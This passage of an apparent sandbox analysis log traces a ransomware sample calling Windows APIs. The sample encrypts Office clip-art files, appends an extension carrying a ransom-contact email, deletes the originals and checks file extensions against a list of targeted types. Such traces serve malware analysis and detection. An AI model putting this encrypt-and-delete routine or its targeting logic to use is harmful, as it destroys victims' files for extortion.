office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 0x220 [0184.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0184.593] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.593] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.594] GetLastError () returned 0x0 [0184.594] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0184.597] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0184.599] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.599] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.599] SetEndOfFile (hFile=0x51c) returned 1 [0184.599] CloseHandle (hObject=0x51c) returned 1 [0184.599] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.599] SetEndOfFile (hFile=0x454) returned 1 [0184.603] CloseHandle (hObject=0x454) returned 1 [0184.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 1 [0184.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0184.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0184.605] lstrlenW (lpString=".doc") returned 4 [0184.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.605] lstrlenW (lpString=".docx") returned 5 [0184.605] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0184.605] lstrlenW (lpString=".pdf") returned 4 [0184.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.605] lstrlenW (lpString=".xls") returned 4 [0184.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.605] lstrlenW (lpString=".xlsx") returned 5 [0184.605] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0184.605] lstrlenW (lpString=".ppt") returned 4 [0184.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0184.605] lstrlenW (lpString=".zip") returned 4 [0184.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.605] lstrlenW (lpString=".rar") returned 4 [0184.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.605] lstrlenW (lpString=".bz2") returned 4 [0184.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.605] lstrlenW (lpString=".7z") returned 3 [0184.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0184.605] lstrlenW (lpString=".dbf") returned 4 [0184.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0184.605] lstrlenW (lpString=".1cd") returned 4 [0184.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0184.606] lstrlenW (lpString=".jpg") returned 4 [0184.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0184.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0184.606] lstrlenW (lpString=".doc") returned 4 [0184.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.606] lstrlenW (lpString=".docx") returned 5 [0184.606] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0184.606] lstrlenW (lpString=".pdf") returned 4 [0184.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.606] lstrlenW (lpString=".xls") returned 4 [0184.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.606] lstrlenW (lpString=".xlsx") returned 5 [0184.606] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0184.606] lstrlenW (lpString=".ppt") returned 4 [0184.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0184.606] lstrlenW (lpString=".zip") returned 4 [0184.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.606] lstrlenW (lpString=".rar") returned 4 [0184.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.606] lstrlenW (lpString=".bz2") returned 4 [0184.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.606] lstrlenW (lpString=".7z") returned 3 [0184.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0184.607] lstrlenW (lpString=".dbf") returned 4 [0184.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0184.607] lstrlenW (lpString=".1cd") returned 4 [0184.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0184.607] lstrlenW (lpString=".jpg") returned 4 [0184.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.607] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.607] lstrlenW (lpString="J0107712.WMF") returned 12 [0184.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0184.608] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4636) returned 1 [0184.608] CloseHandle (hObject=0x454) returned 1 [0184.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 0x220 [0184.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0184.609] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.609] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.612] GetLastError () returned 0x0 [0184.612] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x121c, lpOverlapped=0x0) returned 1 [0184.807] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1220, lpOverlapped=0x0) returned 1 [0184.809] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.809] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.809] SetEndOfFile (hFile=0x51c) returned 1 [0184.809] CloseHandle (hObject=0x51c) returned 1 [0184.810] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.810] SetEndOfFile (hFile=0x454) returned 1 [0184.814] CloseHandle (hObject=0x454) returned 1 [0184.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 1 [0184.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0184.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0184.816] lstrlenW (lpString=".doc") returned 4 [0184.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.816] lstrlenW (lpString=".docx") returned 5 [0184.816] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.816] lstrlenW (lpString=".pdf") returned 4 [0184.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.816] lstrlenW (lpString=".xls") returned 4 [0184.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.816] lstrlenW (lpString=".xlsx") returned 5 [0184.816] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.816] lstrlenW (lpString=".ppt") returned 4 [0184.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0184.817] lstrlenW (lpString=".zip") returned 4 [0184.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.817] lstrlenW (lpString=".rar") returned 4 [0184.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.817] lstrlenW (lpString=".bz2") returned 4 [0184.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.817] lstrlenW (lpString=".7z") returned 3 [0184.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0184.817] lstrlenW (lpString=".dbf") returned 4 [0184.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0184.817] lstrlenW (lpString=".1cd") returned 4 [0184.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0184.817] lstrlenW (lpString=".jpg") returned 4 [0184.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0184.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0184.817] lstrlenW (lpString=".doc") returned 4 [0184.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.817] lstrlenW (lpString=".docx") returned 5 [0184.817] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.817] lstrlenW (lpString=".pdf") returned 4 [0184.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.817] lstrlenW (lpString=".xls") returned 4 [0184.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.817] lstrlenW (lpString=".xlsx") returned 5 [0184.818] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.818] lstrlenW (lpString=".ppt") returned 4 [0184.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0184.818] lstrlenW (lpString=".zip") returned 4 [0184.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.818] lstrlenW (lpString=".rar") returned 4 [0184.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.818] lstrlenW (lpString=".bz2") returned 4 [0184.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.818] lstrlenW (lpString=".7z") returned 3 [0184.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0184.818] lstrlenW (lpString=".dbf") returned 4 [0184.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0184.818] lstrlenW (lpString=".1cd") returned 4 [0184.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0184.818] lstrlenW (lpString=".jpg") returned 4 [0184.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.818] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.818] lstrlenW (lpString="J0107734.WMF") returned 12 [0184.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0184.820] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3140) returned 1 [0184.821] CloseHandle (hObject=0x454) returned 1 [0184.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 0x220 [0184.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0184.821] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.821] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.823] GetLastError () returned 0x0 [0184.823] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0xc44, lpOverlapped=0x0) returned 1 [0184.826] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xc50, lpOverlapped=0x0) returned 1 [0184.827] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.827] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.827] SetEndOfFile (hFile=0x51c) returned 1 [0184.827] CloseHandle (hObject=0x51c) returned 1 [0184.827] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.828] SetEndOfFile (hFile=0x454) returned 1 [0184.831] CloseHandle (hObject=0x454) returned 1 [0184.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 1 [0184.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0184.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0184.832] lstrlenW (lpString=".doc") returned 4 [0184.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.832] lstrlenW (lpString=".docx") returned 5 [0184.832] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.832] lstrlenW (lpString=".pdf") returned 4 [0184.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.833] lstrlenW (lpString=".xls") returned 4 [0184.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.833] lstrlenW (lpString=".xlsx") returned 5 [0184.833] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.833] lstrlenW (lpString=".ppt") returned 4 [0184.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0184.833] lstrlenW (lpString=".zip") returned 4 [0184.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.833] lstrlenW (lpString=".rar") returned 4 [0184.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.833] lstrlenW (lpString=".bz2") returned 4 [0184.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.833] lstrlenW (lpString=".7z") returned 3 [0184.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0184.833] lstrlenW (lpString=".dbf") returned 4 [0184.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0184.833] lstrlenW (lpString=".1cd") returned 4 [0184.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0184.833] lstrlenW (lpString=".jpg") returned 4 [0184.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0184.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0184.833] lstrlenW (lpString=".doc") returned 4 [0184.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.834] lstrlenW (lpString=".docx") returned 5 [0184.834] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.834] lstrlenW (lpString=".pdf") returned 4 [0184.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.834] lstrlenW (lpString=".xls") returned 4 [0184.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.834] lstrlenW (lpString=".xlsx") returned 5 [0184.834] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.834] lstrlenW (lpString=".ppt") returned 4 [0184.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0184.834] lstrlenW (lpString=".zip") returned 4 [0184.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.834] lstrlenW (lpString=".rar") returned 4 [0184.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.834] lstrlenW (lpString=".bz2") returned 4 [0184.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.834] lstrlenW (lpString=".7z") returned 3 [0184.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0184.834] lstrlenW (lpString=".dbf") returned 4 [0184.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0184.834] lstrlenW (lpString=".1cd") returned 4 [0184.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0184.834] lstrlenW (lpString=".jpg") returned 4 [0184.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.835] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.835] lstrlenW (lpString="J0107742.WMF") returned 12 [0184.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0184.836] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3644) returned 1 [0184.836] CloseHandle (hObject=0x454) returned 1 [0184.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 0x220 [0184.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 